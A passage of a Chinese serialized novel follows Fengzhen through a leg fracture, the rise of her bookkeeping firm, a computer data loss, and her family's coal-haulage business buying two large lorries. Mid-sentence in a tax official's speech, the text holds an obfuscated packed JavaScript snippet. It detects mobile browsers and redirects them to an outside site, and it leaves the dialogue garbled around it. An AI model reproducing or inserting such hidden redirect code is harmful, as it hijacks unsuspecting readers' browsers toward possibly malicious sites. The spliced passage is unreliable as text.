洪师傅把路遇凤珍和到医院的情况简要地说了，告诉现在等待片子结果，让她通知于凤珍的弟弟于玉林。 王玲立刻把凤珍的情况转告了玉林，并且打车快速地来到医院。王玲见到了凤珍伤痕累累的样子，一把握住凤珍的手，痛哭了起来。凤珍弟弟玉林和媳妇，还有小妹陆续来到了医院。洪师傅向他们讲了所知道的经过。王玲、玉林和媳妇、小妹都向洪位师傅和司机小陈鞠躬行礼，“谢谢你们的无私帮助！谢谢！”…… Χ光片子很快出来了，诊断凤珍左腿膝盖下部的小腿骨折。医生说需要住院手术接骨治疗。王玲办理了住院手续，其他人把凤珍送到了病房。他们把凤珍安顿好，骨科医生进行检查、护士进行抽血化验，做手术前的准备工作。洪师傅和小陈师傅看到凤珍的家人都来了，洪师傅对凤珍说：“你受伤骨折位置不是关节，接上养一两个月就好了，让她安心养病！”让凤珍弟弟把摩托车经管好。 凤珍感激地说：“洪师傅，陈师傅，谢谢你们的救命之恩，改天让家人去感谢你们！” 洪师傅说：“客气啦！救死扶伤，人人有责！你安心养伤！”然后洪师傅和陈师傅因为煤矿有事急匆匆地走了。 护士来推凤珍去手术室，王玲问凤珍：“要不要告诉厚成？” 凤珍摆手说：“不要告诉他们，怕影响出车，等他们回到家再告诉他！” 3个小时后，凤珍手术完成，护士将她送回了病房。医生告诉王玲说：“手术顺利，家属放心！”嘱咐护理好病人。 王玲看看表已经是晚上5点多了，她打传呼给洪涛，问他们现在在哪里？把凤珍受伤的事情简要地说了。然后王玲现在回家照顾孩子。凤珍的大弟弟、弟媳和小妹都在医院护理，王玲放心了。 洪涛看了传呼机文字，开始加速行驶，到了服务区，加油后和厚成到了饭店吃饭。洪涛点了2碗米饭，点了一个炒尖椒干豆腐，一个粉条炒豆芽菜。菜上来后，洪涛大口大口地吃饭，厚成看洪涛焦急的神态问：“你怎么饿成这样啊？”洪涛没有回答。厚成看了洪涛嘴里塞满饭问：“你这是怎么了？把饭咽下去，别噎着！” 洪涛把饭咽下去紧张地说：“哥，我们吃完饭要快速赶路回家，嫂子受伤住院了！”洪涛是个急性子的人，这个崇拜的凤珍嫂子突然受伤实在是憋不住了！ 厚成立刻放下筷子惊愣地问：“怎么受伤了，伤重不重？” 洪涛把王玲打来的传呼机给了厚成看了，知道凤珍左小腿骨折已经手完术，伤势稳定了，厚成长出一口气。 厚成心里有事，吃了半饱就放下筷子，两个人上车，厚成坐上驾驶位，洪涛到上铺休息，到了下一个服务区，他们换班驾驶。 快速奔驰了一夜，早晨到了煤城卸货点。厚成、洪涛打车赶到了医院。凤珍躺着病床上，左小腿缠着绷带，左手、左胳膊、脸部粘贴了药布，只留下两个眼睛。厚成进病房两大步走到凤珍床边，握着凤珍手急切地问：“还疼吗？哪块疼？”说着眼泪盈眶。 凤珍说：“疼，全身哪都疼！”见到厚成委屈地哭了。 洪涛问王玲：“怎么受伤的？” 王玲回答：“是嫂子去前进煤矿联系业务，遇上了大雨，骑摩托车摔倒了躺着路旁，前进煤矿的一辆客货车驶来，司机小陈和车上洪师傅发现了凤珍在呻吟求救，将客货车掉头把嫂子送到医院……” 厚成去了医生办公室，见了主治医生，医生告诉厚成，手术很成功，一周伤口拆线，半个月可以出院…… 厚成安慰凤珍说：“你受罪了，医生说了小腿骨折接上了很快就恢复好了！” 凤珍说：“你抽个时间，买些礼品去前进煤矿找洪师傅和司机小陈，好好地感谢他们！” 厚成答应：“一定的！” 护士来打点滴，厚成问：“护士，点什么药？” 护士答道：“是消炎和止痛的药！” 王玲回家照顾3个孩子，凤珍弟媳和小妹他们白天夜间分班护理凤珍，厚成感谢地：“弟媳、小妹，你们辛苦啦！” 小妹说：“大哥，你客气啦！大姐受伤了我们护理这不是应该的吗！” 凤珍在医院里治疗一周后，身上的擦伤已经痊愈了，左腿拍片后，医生说骨位正常，厚成悬着的心放下了。他每次回煤城第一时间就去医院，陪着凤珍，给凤珍讲路上的新鲜事；给凤珍洗洗头，剪指甲，临床的患者都夸凤珍有福气，老公又帅又能干，又贴心，凤珍脸上露出了幸福的笑容。 星期日这天，王玲带着小凯、小丹，小刚来医院。小凯，小丹自从妈妈受伤住院，第一次见到了妈妈，他们扑倒妈妈的怀里，小丹看到妈妈左腿缠的绷带，流了眼泪说：“妈妈，你还疼不疼了？” 小凯说：“妈妈你瘦了！” 小刚说：“大娘，我们好想你呀！” 凤珍搂着孩子们流下了眼泪，流下的是母子之情。 王玲联系到洪涛，问他们什么时间到医院，孩子们十多天没有见到爸爸了！ 洪涛说：“你们在医院等我们，我们把车开到卸货的地方、货主卸车的时间，我们就去医院！” 王玲说：“好，孩子们高兴的等着爸爸呢！” 两个小时后，厚成、洪涛来到医院。厚成右手拉着小丹的手，左手拉着小凯的手，小刚坐在爸爸的怀里，孩子们亲切地喊着：”爸爸！爸爸！爸爸！”一星期没有见面，两家人在医院团聚了，这是多么高兴的日子啊！ 这时候已经是中午了，王玲说：“你们爷几个去饭店吃饭，我在这陪着嫂子。” 洪涛说：“好，我们回来时给你们带饭！” 小凯细心的问：“妈妈想吃什么？” 凤珍说：“要酸菜粉条、米饭。” 小刚问：“妈妈想吃什么？” 王玲说：“要吃西红柿炒鸡蛋。” 小丹说记下了，两位爸爸带着三个孩子走了。 王玲让凤珍躺下，休息一会。 凤珍问王玲：”这几天有新客户吗？” 王玲说：“有5户新客户，都是老客户带来的。” 凤珍说：“我腿两个月内走不了，出院后我到公司接待客户，你出去联系业务，但是不能出城，在市区找找客户。我们现在的客户收入不够支付房费、水电费和办公费，我们只有增加用户收入，才能盈利。” 王玲说：嫂子你安心养伤，多吃营养的好得快。我尽快扩大扩客户，现在的客户对我们的工作认可，有了好口碑，用户会口口相传，我有信心！” 凤珍感谢地说：“辛苦你啦！又要去公司，又要照顾孩子，还要照顾我，谢谢你王玲妹妹！” 王玲客气地说：“嫂子你这样说就见外啦！我们已经是一家人嘛！” 一会儿厚成、洪涛和孩子们回来了。 凤珍惊愣地：“你们这么快就回来啦？” 他们没有在饭店吃，孩子们要带回来和妈妈一起吃，两家七口人在医院就餐是另一种风味、另一种感受，找回了其乐融融的欢乐氛围！ 半个月后凤珍出院了……一个月后，凤珍左手拄着拐杖，坐在记账公司边接待客户、边做账。因为离家太远，她只能住在公司里，接收企业早晚送票子很方便。生活用品都是王玲每天大包小包地倒腾，三个孩子王玲继续经管。 半年以后，凤珍可以行走自如了，客户这个期间也增加几十户。记账公司开业一年了，凤珍、王玲算利润账，两个人都很失望，因为记账公司没有挣到钱，亏损了二万多元。 厚成、洪涛回煤城后，凤珍让他们来记账公司，四个人坐下商议：凤珍把记账公司亏损情况说了。 四个人沉默了一会，厚成分析说：“公司的费用开支主要是房费，这个省不下来，办公用用品，水电费没有多少钱，还是客户收入少，承担不了房费，咱们还得从扩大客户上下功夫。” 洪涛说：“我同意宋哥的说法，当时你们在家办公，没有房租，现在客户比以前多了，反而挣不着钱？但是没有办公地点也不行，只能是靠增加客户收入来解决这个问题。” 凤珍说：“你们说的对，我们没有本钱，赔不起，要么关门，要么往外兑公司。” 王玲不同意地说：“嫂子万事开头难，我们这一年积累了一些经验，如果兑出公司或者关门，我们等于白交学费了！不行，我们还是要坚持下去！” 凤珍想了想说：“我明天去税务局找业务科顾科长，探讨一下扩大客户的路子。 王玲说：“对，不能放弃，我们要千方百计扩大用户。” 几个人意见一致，凤珍、王玲有了方向，他们不服输。 第二天，凤珍去税务局见到了业务科的顾科长。顾科长近50岁，高高的个子，浓眉大眼，典型的东北汉子。他热情地让凤珍坐下，又给凤珍倒了茶水问：“于会计，你腿伤好利索没有？”很亲切，因为凤珍在洗煤厂财务科工作时，顾科长经常到企业检查指导工作，所以很熟悉。顾科长问起：“记账公司开业有一年了吧，盈利怎么样？” 话题引到这，凤珍赶忙地说：“我正是为这事来的。”凤珍把记账公司亏损的情况说了。“我这次来是向顾科长求救来的，如何才能扩大用户？” 顾科长说：“据我们掌握全市的工商户有一部分是定额纳税，不需要报账，每月交税可以，所以他们也不建账，不用财务人员。你们记账公司上不来客户属于正常情况。现在全市记账公司里面，你们公司客户最多。今年国家税制改革按要求，所有的工商企业都要建账，这样工商企业会根据自身的条件和需要， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987681|161548||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择到记账公司来记账。你们记账公司要加强自身建设，应对这个新形势。只要你们业务各方面服务能满足工商企业税务局的需求，客户应该是迅速增长。” 顾科长的一番话，凤珍听了如沐春风，精神大振，她连连说：“谢谢，谢谢顾科长！”她起身告辞：“顾科长，打扰您了！” 顾科长送凤珍到门外表扬地说：“于会计，你下岗后没有消极，注册了记账公司，税务局认识你的人都佩服你，我们要支持你，把记账公司做起来！” 凤珍激动的眼泪闪出泪花，双手合拢地：“谢谢，谢谢你！请顾科长多指导！” 凤珍回到公司，把这个好消息告诉了王玲，他们俩根据现在记账公司面临的大好形势，提前做了调整，决定招聘2名会计做业务，他俩全力以赴联系用户，扩大用户。凤珍、王玲轮流住在公司，随时接待客户，接受用户财务人送来的票据。总之，一切为用户着想。招聘会计他们首先想到了洗煤厂财务科的同事，改制后他们提前办理退休的工资还不到三百元，这点收入是不能生活的，所以他们还要找工作。联系上了两位大姐，约她们明天到公司见面。两位大姐前后到了公司，他们寒暄一会，凤珍进入了主题，请他们来公司工作，两位大姐很受感动。姓赵的大姐说：“我下岗回家后，想要干个体，没有适合的项目，找工作也没有找到，太感谢你了，还想着我们，我十分高兴和你们在一起工作！” 姓孙的大姐握着凤珍的手说：“啥也不不说了，这回我能睡好觉了。自从下岗没睡过囫囵觉；要么睡不着，要么半夜醒了，再也不能睡了，东想、西想、朝思乱想已经瘦了十几斤，这回有事做了，我踏实了！”说着激动地流下了眼泪，王玲拿了张纸巾给孙姐擦擦眼泪。 凤珍说：“两位姐姐咱们公司的薪酬是多劳多得，记一个账户是二百元，多记多得！” 两位姐姐互相看了一眼，点点头说：“好！这样合理，我们同意！” 凤珍说：“今天回去准备一下，明天来上班，中午吃饭在公司吃免费！” 有了做业务的会计，凤珍、王玲他们两个主要工作是联系用户。由于凤珍本身是财务人员，业务底子好，认真工作，全市许多的小煤矿、个体车主、给洗煤厂送料的商家，对他的工作和人品都认可，凤珍从不勒卡，为人厚道、谦和，业务能力强。 税务局要求企业销售额达百万元以上的都要建账，而且要电算、开电子发票。天时、地利、人和，她们俩全占了。好么，用户达到了200多户。 随着业务量的增加，也面临新的挑战。电算对手工记账是一场革命。老财务会计不会电算，税务局办了几期电算学习班，凤珍、王玲和招聘来的十多位会计轮流去学习。电脑城的工程师给会计们演示会计软件的操作。新开户的企业，要给建账，又要实地考察记账，公司每天晚上都要加班，办公室电脑已经摆满了，每天晚上灯火通明……凤珍、王玲迎来了事业的春天。为方便工作，他们买了一辆轿车。 这天晚上，员工们吃过晚饭，开始工作，一个会计打开电脑出现了故障，电脑找不到信息，其他的会计打开电脑后也出现同样的情况。凤珍这时急得满头冒汗，想这么多账务如果丢失，那将如何处理呀？她给电脑工程师打电话，工程师十万火急地提着工作包来到了公司，打开一台电脑检测，最后摇摇头说找不出原因。凤珍听到后，让这台电脑的小谷会计留下，其他人下班回去休息，明天如果电脑修好了，正常工作。会计们陆续回家了，工程师继续检查电脑，一边检查一边给他的师傅打电话。已经是凌晨2点了，工程师还没有找到问题。凤珍说：“贺工，我开车送你和小谷回家休息，我们明天继续修理电脑！” 贺工说：“所有可能出现这样故障的原因，我都查了两遍，一切正常。以我现在的水平确实是无能为力了。这么晚了也不好请别人来，明天早八点我找业内的老大，请他来处理吧！” 凤珍点点头。关好灯，锁好门，开车送他们回家。 凤珍回到家已经是凌晨4点了。她不敢睡了，她怕睡过站，孩子们上学晚了。她悄悄的打开台灯，拿出笔记本，整理工作方面的事情……五点开始她给孩子做早餐，孩子们吃完早餐，上车，小刚也来了上了车。路上，凤珍对王玲说昨天晚上电脑出现故障的情况。王玲叹息道：”如果这些账在电脑上全部丢失，怎么办呢，公司是不是要摘牌子？” 凤珍说：“凡事不能往坏处想，今天如果修不好，数据就算全丢失了，我们还有凭证，吃点苦，重新录呗！但是问题必须找到，找不到问题，也不能录数据，再丢失了怎么办？” 凤珍、王玲来到公司，八点后，贺工带着一个30多岁的年轻人来到了公司，凤珍迎了上去，贺工介绍说：“于总，这位是咱全市电脑行业的技术权威——李工！” 凤珍和李工握握手说：“李工不好意思，麻烦您了！” 李工说：“不客气！我查查电脑看看！”说着李工打开电脑反复检查，不时的与贺工讨论着，最后说：“在电脑软件使用前少了一个保护装置，以至于丢失了所有的数据。现在唯一解决的办法，每台电脑都要重新设置保护装置，然后再录凭证。” 凤珍听后说，既然两位专家意见一致，也只能如此。两位工程师对每台电脑重新做了系统，教会计正确操作保护装置。两位工程师忙了一个上午完成了工作，大家松口气。凤珍安排两位工程师及全体员工到酒店吃午餐，满桌丰盛的菜肴。凤珍、王玲还给每一位都倒上了啤酒，凤珍举杯说：“首先感谢两位电脑工程师这两天辛辛苦苦的付出，感谢员工一个月以来加班加点的工作！” 王玲举杯说：“谢谢大家！”全体都站了起来，碰杯全都干杯！大家都坐下后凤珍说：“大家随意吃吧！”员工们活跃了起来，都给两位工程师敬酒，又给凤珍、王玲两位老总敬酒，热闹的场面使人们忘记了疲劳和烦恼。 员工们回到公司，凤珍看到人齐之后说：“现在的工作是我们要加班加点，把所有的账按照凭证重新录入电脑，这是个艰巨的工作任务，我相信你们的能力。我们为了保证公司不被摘牌，必须在月末之前完成任务，这个事件大家要保密，谁有困难可以随时找我们共同解决！” 大家异口同声说：“坚决完成任务！”声音洪亮。 凤珍、王玲拱手笑着说：“谢谢大家，谢谢大家！” 一场危机化解了记账公司，会计们用了半个月时间起早贪晚、加班到深夜，把账目恢复了起来。会计中有几位刚毕业的大学生，他们在学校学习了电算课程，做起来较几位年龄大的会计速度快，准确率高。凤珍、王玲商量后，决定提拔一位叫闫红梅的做业务主任，全面负责公司业务工作。他们俩全心做发展业务、联系客户工作…… 两个月来，公司工作完全进入了正常轨道，又增加了80多家客户，税务局的业务科几位同志多次来公司指导业务，特别是顾科长，更是比以前来的次数多了，叮嘱凤珍说：“你们公司是全市记账公司业务量最大的公司，税制改革要靠你们这些记账公司来落实，税务局根据你们的核算征收税金，你们要为企业为国家把好钱袋子，所以说你们肩上的担子很重，很重……” 凤珍、王玲每个月末都要亲自审查用户报来的收支凭证，发现问题，及时提醒会计，找到用户纠正。10月份前3个季度财务报表，会计已经报出来，税务局的税管员对她们所管的企业账目记账进行季度检查。会计们都认真接待，需要调阅原始凭证的，会计们负责从档案室找到。税管员结束工作时对凤珍说：“于总，你们的工作我们很满意，核算得很到位，会计们业务都很棒，提出了几点要改进的意见……凤珍谦虚说：“谢谢税务局业务科的同志多次指导！希望征管科的税管员常来我们公司指导工作有问题及时沟通！” 送走了税管员，凤珍召集全体员工开会，传达了税务检查税务员对会计工作的表扬，提出了需要改进的几个方向，会计们听了心服，口服，干劲十足。 11. 第十一章 8月份煤城的煤到了销售旺季，因为其它城镇要备冬天的取暖煤。厚成、洪涛，洪波、传亮四个人忙得连轴转，他们抽空回家换衣服和财务报账。买车时借得钱，凤珍连本带利已经全部还清了，现在每个月正常还车贷，已经没有压力了。厚成、洪涛也认识了很多朋友，做什么生意的都有，在配货站服务区南来北往的司机，每天谈论天南地北的新鲜事，他们时而开怀大笑。趁着装车卸车的时间，不同的口音说到四面八方的事情，他们听着会很畅快，很畅快……他们彻底放下了下岗工人的身份，重新实现了自我价值。 运煤的旺季运费高，他们有时为了抢活卸煤后不去配货站配货，空车放回继续装煤。这个月他们送了二十一趟煤，这个指标创下了配货站所有长途货运车的最高纪录，他们成为了煤城长途运输的冠军！慕名而来的货主找到了厚成说：“他是从哈市来的，已经看好了无烟煤，煤矿老板推荐他找宋厚成的车来运煤，每车结算，煤款都由厚成代收，一车一结，互不欠账利索。而且煤矿在山里边路况不好，开车技术不强的司机重车有时开不出去，他们还要找铲车送。宋师傅开车技术好，从来没用送过……”一口气地介绍明白了。 厚成笑着问：“老板贵姓？” 老板回答：“姓尤！” 厚成说：“尤老板，你从无烟煤矿送煤到什么地方？” 尤老板说：“送煤的地点是哈市先锋路边的水泥厂，从高速下道不远就是。煤样已经化验合格，已经签供货合同了，每天送60吨需要两台车，运费按现在的价格。每趟进城联系我，卸完车把水泥厂煤单子给我，煤和运费钱结给你。” 厚成问：“签了多少吨合同？” 尤老板说：“签了一年合同！” 厚成说：“尤老板现在是运煤旺季，我们车的活都干不过来，这样我们商量一下，能不能接你的这份活。” 厚成和洪涛、洪波、传亮商量一下，洪波说：“这份活进哈卸车3天能拉两趟活，如果车况没问题，一个月能干20多趟。回来时可以放空车，现在这个运价不低，我们可以接这个活。” 传亮问：“我们那些货主的活怎么办？” 洪波说：“我们今天给尤老板装车跑一趟，看看装卸时间，然后再定。那几家货主晚几天送，也不影响生产。” 车检修完了，他们和尤老板一起去无烟煤矿，装完车，一路顺利地到了服务区。他们加油、吃饭，尤老板请他们四位司机吃了丰盛的大餐。尤老板坐厚成的车，一路聊天都很开心。 果然如尤老板所说，进城下道十多公里到了水泥厂。这时是早上7点多，工人们刚上班，负责收煤的工作人员引导车上了地量衡称重，然后上了煤道，卸煤是个小铲车，另有两个卸车工人，一个多小时车卸完了，空车上地量衡称重后，管称的人递给一张收煤票据，上面写着无烟煤30吨。两辆车卸完后，尤老板付了两车煤款和运费，洪波把收货单交给了他，尤老板说：“现在路上也熟了，你们回去装车，煤款你们垫付上，卸车煤款运费我一起给你结。” 洪波说：“尤老板放心吧，我们明早来到之前联系你。” 这时，他们两台车都买了手机，尤老板把他的手机号告诉了他们，尤老板说：“这趟去煤城太顺利了，认识了他们四位司机，都是淳朴的劳动人民，开车技术好，人品好，很难得，愿意和你们合作！” 厚成说：“也愿意和尤哥合作！” 他们互相握手告别，尤老板说：“祝你们一路顺风！” 厚成他们把车开出水泥厂，一会儿来到哈城出口的服务区加油，准备吃早饭。 服务区的这个饭店很有特色，一进门就有个十三、四岁的女孩迎接，幼嫩的声音：“叔叔，你们好！几位客人？”声音甜甜的。 厚成第一次来到这个服务区的饭店，心想怎么还来个小女孩子迎宾？笑着回答：“我们四位！” 小姑娘给指了个餐桌说：“你们坐这个桌吧！”另一位小姑娘过来端一壶水，几个杯子放在餐桌上：“叔叔先喝点水吧！” 四个人洗洗手后，坐下来，迎宾的小姑娘拿着菜谱：“叔叔，点菜吧！” 四个人端着水杯互相看着，又往室外看见端着菜的服务员全是这么大年纪的小姑娘。洪涛问：“小姑娘，我们四位吃早餐，都有什么？” 小姑娘嘴还挺溜到随口说：“有果子，浆子，各种油饼，有鸡蛋柿子汤，酸菜汤！” 洪涛说，我们四个人，你看着给称一半饼，一半大果子，两样汤各一盆！“ 一会儿的功夫，三个小姑娘端着大盆汤、油饼、大果子送到桌上。厚成笑着问：“小姑娘，你是哪里的人？这么小出来工作行吗？” 其中点餐的那个小姑娘回答说：“是江北农村的，家里条件不好，辍学来饭店打工！” 洪涛说：“工作不累吗？” 小姑娘说：“还行，只是夜班爱犯困，有时把盘子碗打碎了，老板罚款后就不困了，怕领不着工资！”小姑娘说话带有幽默，逗了他们几个人哈哈大笑，小姑娘也跟着笑了起来，小姑娘的脸像一朵小花，还像蜜蜂一样飞走了。 传亮重复说：“江北的、江北的、江北确实困难，路上江北的交警到现在还穿着老式的着装，连新款式的着装都买不起……” 厚成可怜说：“这么小的孩子离开父母，打工挣钱……” 几个人很快吃完饭，付完钱后离开时，小姑娘停下脚步挥手说：“欢迎叔叔再来！” 厚成说：“会再来的，再见小姑娘！” 厚成他们上了车，因为是空车开着轻松，5个多小时后，他们到了离家最近的一个服务区。他们检车、加油、吃饭，厚成给煤矿的付煤员吴大哥打了电话说，他两台车已经返回来了，下午还要去装车？吴大哥说，收到了，随时来装车，他都安排好了！ 洪涛接了个电话，说了很长时间，撂下了电话后，洪涛说：“哥商量个事！” 厚成走过来问：“什么事？” 洪涛说：“货场车队的冯文华来电话，说他们企业改制，现在车队二十辆“斯太尔”60吨大型货车面向社会出卖，车况最好的卖价二十万，是在线上运行的车。有些不能运行的斯太尔车卖价十几万不等。冯文华问我们想不想买？冯文华想买车他没有钱。” 这批60吨大型货车厚成在路上经常看到，体积和火车货箱子相同，很壮观，是目前公路运输载重量最大的货车。60吨的货车价格可以，厚成心里表示同意。“洪涛，具体情况再问问！” 洪涛给冯文华电话打了过去，冯文华说：“他现在开这台车是二十万的价格，如果买这台车，不用添钱修车，提回来马上出车能挣钱。其它价格低一些的车，但是买到手要修车，修车的钱也不比这台车少……” 厚成又询问了一些问题，因为毕竟是二十万元的事情，要和大家商量商量才能定下来，“我们商量一下吧！” 厚成问洪涛：“你什么想法？” 洪涛想了想说：“五十多万的车卖二十万，怎么说也值这些钱！问嫂子，她们那边能不能拿出二十万，如果钱够咱们买。这样咱们有一辆中型货车，一辆大型货车，运输不会丢活。” 厚成说：“我同意你这个说法，咱们去和洪波商量一下，看他什么意见。” 洪波过来了，洪涛说了斯太尔车的事情，洪波想了一会估算地说：“从现在到明年1月份，还有几个月的旺季，是运输挣钱的好时机。斯太尔载重量大，一趟顶现在咱们30吨二趟的运输量，车况又好，增加货运能力，我看有钱应该买。” “我给凤珍打电话，听听她俩什么想法？”厚成打通了凤珍的电话。 凤珍问：“你们现在哪里？” 厚成说：“我们已经返回到服务区了！” 凤珍说：“这么快啊！顺利吧！” 厚成说：“一切顺利！王玲在吗？让她和你一起听电话，我和洪涛有事，向你们请示！” 凤珍喊王玲过来听电话。 厚成把买斯太尔车的情况说了，洪涛又补充了一些。凤珍同意地说：“你们买斯太尔60吨大型车的想法，我认为想的对，我支持！” 王玲说：“你们问冯文华，如果买，什么时候提车？钱不是问题，我也支持你们！” 洪涛高兴的风趣地说：“谢谢二位领导的支持！” 洪波听到后竖起大拇指：“二位嫂子真棒！” 厚成问洪波：“你们要不要买一辆斯太尔车？” 洪波迟疑一下：“我和传亮商量商量。”洪波去找传亮了。 洪涛打通了冯文华的电话说：“买车定下来了，什么时间去交款提车？” 冯文华回答：“车队有几对合伙买车的，已经交完款车提走了。我这台车留下没松手，你们明天早上7点来车队，带现金提车。我在车队等你们！” 洪涛说：“好，明天见！” 洪涛对冯文华说：“提车后，你和我们一起干吧！” 冯文华很快地说：“好的，谢谢两位哥哥信任我！” 洪波和传亮过来了，洪波说：“我俩商量好了，我俩也要买一辆二十万元的斯太尔车。算了一下，钱能凑够十三万，还差七万，看看嫂子们能不能给我们凑七万？” 厚成拨通了凤珍的电话，把洪波也要买斯太尔车还缺七万元的事说了，电话里，凤珍爽快地答应没问题！ 洪涛和凤珍通话说：”明天要用现金提车，嫂子准备好！” 凤珍答应：“一会儿去银行提二十七万现金！” 凤珍问：“你们谁回家提车？” 洪涛说：“我去提车。 凤珍说：“就这么定了！” 洪波抢过手机感谢地说：“谢谢嫂子的帮助！” 传亮也在电话旁大声地说：“感恩嫂子的大德！” 凤珍说：“不客气，要没有你们俩帮扶，哪有我们今天的好日子！” 洪涛说：“一家人不要客气！” 撂下电话，他们四个人商量，洪涛，洪波留下提车，厚成、传亮每人开一台车去哈市水泥厂送无烟煤，带了一部手机。留下一部手机洪涛带着…… 晚上下班，凤珍、王玲去了市场，买了烧鸡，还有洪涛爱吃的皮冻、干豆腐卷，鱼、虾、油豆角、排骨。他们到学校接了孩子一同回家。此时，凤珍看到天边今晚的晚霞特别漂亮，太阳工作了一天，他把余晖变成了火烧云，红彤彤的、金灿灿的交相辉映，给人们留下了无限的遐想……凤珍想，明天会是艳阳天…… 凤珍，王玲开始忙着做晚饭。小凯、小丹、小刚三个孩子吵醒了洪涛的美梦，洪涛看着三个孩子笑了，小刚扑到爸爸的怀里说：“爸爸，你这么多天没回家，我太想你啦！”又贴着爸爸的脸说：“我在梦里和爸爸一起出车！” 洪涛笑着拉过小丹，小凯手说：“你们也想爸爸了吧！？ 小凯、小丹异口同声地说：”想呀！爸爸为啥不回来呀！？” 洪涛安慰地说：“下趟回来，你们爸爸回来看你们！” 洪涛下床，穿上外衣，带着这三个孩子来到凤珍家，打过招呼后，王玲让孩子们洗手准备吃饭。王玲拿洗好的大黄柿子递给洪涛，洪涛咬了一口说：“真甜！” 洪涛、凤珍、王玲三个人说着斯太尔车的事，说到高兴时，几个人一阵哈哈大笑！ 饭菜做好了，王玲边摆菜边说：“哎呀，六个菜，溜溜大顺呀！”王玲倒了3杯啤酒，孩子们每人一个荔枝饮料。 凤珍说：“小刚，你说句话，咱们开始吃饭！” 小刚站起来举起饮料说：“爸爸回来了，大娘和妈妈做了这么多菜，我们欢迎爸爸，谢谢大娘、妈妈，干杯！“说着咕咚喝了一大口饮料。 大家笑着举杯喝了起来，大人和孩子们热热闹闹的吃过晚饭。 约好明天送孩子上学，然后去提车。洪涛走时凤珍把装着二十七万的现金的袋子交给了洪涛捧在怀里面。翠日，王玲开着车，迎着初升的太阳，三个人来到了车队的一个大院子。下车后，冯文华迎了过来。洪涛和他握握手。冯文华看着王玲和凤珍说：“嫂子们好！” 冯文华带他们来到车旁说：“哥，这辆车我给你们留下的。” 洪涛说：“你留下的好啊！” 洪波、传亮和媳妇儿，三个人从出租车上下来，几个人打过招呼。洪涛对冯文华说：“洪波也要买二十万的斯太尔车。” 冯文华说：“二十万的车没有了，是开那辆车的师傅和亲属合伙买了，车队是优先本车司机买车。” 洪涛问：“那怎么办？” 冯文华说：“我们在这些车中选好的吧！” 他们几个来到了停了一排车的车场，因为低价卖，所有车价格都定好了，价格贴在车门上，车队领导意思是公平，公正，一口价，省去很多麻烦。冯文华说：“买十八万的这台车吧，和二十万的车比较只是差轮胎，车况不比二十万的车差。” 洪波说：“有二万元够换一茬轮胎了，听你的定这台车吧！”， 车队的领导来了，冯文华和领导打招呼说，：“我哥来了交款提车了。另外洪波哥买一台十八万的车，领导带他们直接到财务室，凤珍把钱交给收款的出纳员，全是崭新的纸币。收纳员用点钞机点了钱说：“还是从银行取回来的钱！” 凤珍笑了笑，又给洪波拿出七万元。 洪波说：“嫂子，我给你写个借据！” 凤珍说：“都是家里人不用写借据！” 几个人都笑了，出纳员点好了钱肯定说：”正好！” 坐在另一个桌的会计说：“这是卖车的合同，你们签个字吧！” 凤珍、洪涛看过合同后，洪涛签了字。盖着车队的大红印章，双方各执一份。 车队领导说：“冯文华车上的随车证件你交给车主，让车主看看少不少？” 冯文华从包里拿出了几本证件，洪涛看了说：“证件齐全。” 领导说：“这台车我们交给你啦！” 洪涛说：“冯文华还继续开这台车。” 领导笑着说：”这样最好，冯文华你继续开这辆车，我也放心了，冯文华你没有失业，祝你顺顺利利！”两个人手握在一起…… 洪波交完车款，签了合同，几个人商量车提到货站院里，这时院里人越聚越多，总共二十辆车已经全被定了，人们排号交款，洪涛、洪波庆幸的早来一步。 洪涛和洪波、冯文华商量要找三个司机。冯文华说：“洪波买得斯太尔司机是赵云龙。 洪涛说：“我们去找他，如果他同意开这辆车最好他开。” 他们见到赵云龙，洪涛和赵云龙热烈的拥抱，自下岗后，他们第一次见面都很激动。 洪涛向赵云龙介绍了洪波说：“这是我弟弟陈洪波！” 赵云龙和洪波握手说：“以后就认识啦！” 洪涛说：“我弟弟买了这辆车是你原来开的车，最好和我弟弟一起开这辆车。咱们都是一个车队的老同事，互相都了解。” 冯文华插话说：“云龙，我那辆车洪涛哥买了，我随车跟洪涛哥一起干！” 赵云龙说：“洪涛哥，我听你的，和洪波一起干！” 洪波握着赵云龙的手高兴地：“太好了！你比我大，以后叫你赵哥，以后一锅吃饭都是一家人了！” 赵云龙听了心里暖暖了，两个人的手握得紧紧的。 洪涛，冯文华，洪波，赵云龙他们商量好，把车开到配货站，然后检查车。斯太尔车长12米6，24条轮胎，车头和车厢可以分离，一般的场地放不下，没开过的这车的司机是不会驾驶的。 冯文华，赵云龙把车停在了配货站大院里，配货站的老板、等候装车的司机，满院的人都围了过来，“真是干什么吆喝什么，干什么喜爱什么……”他们边看边摸边问，洪涛，洪波一时回答不过来，那场面热闹极了，人们都露出羡慕的目光，朝哥俩竖起了大拇指点赞！在议论着二辆斯太尔60吨大型货车，“真棒！40万现金太厉害了！”有知情的人说：“洪涛他老婆和宋厚成的老婆开公司挣钱了……” 还有人说：“宋厚成两口子都是大学生，在洗煤厂是中层干部，如果不下岗，宋厚成能当上厂长！” 也有人感叹道：“下岗了也照样比咱们干得好……” 有人说：“洪波和传亮干货运也有五、六年了，他们得比我们多挣一倍的钱……” 有人接着说：“那是他们连老婆，孩子都要不认识了，天天在路上跑……你们谁看到他们谁在服务区睡过觉？” 有人说：“像你们到了服务区进了小姐的被窝里，醉在温柔梦乡里，早忘了货主，哪还有钱买斯太尔车！” 这些大男人厚着脸皮哈哈大笑，他们说的是大实话，服务区的饭店有住宿的房间，那些个小姐穿着特殊的服装，无论冬夏都穿雷丝料的，像马戏团演员的服装似露非露，让人看到脸上化着浓妆，招摇在各个角落，南来北往的司机按捺不住情欲，找个小姐陪陪，常来常往成了嗜好，一年辛苦挣来的钱送给了小姐一半，哪还能攒下钱…… 有一次厚成感冒发烧，到了服务区吃过饭，洪涛说：“今晚在服务区房间休息吧，你感冒了，你吃点感冒药，出点汗，我们睡一觉，再走卸煤时间来得及。” 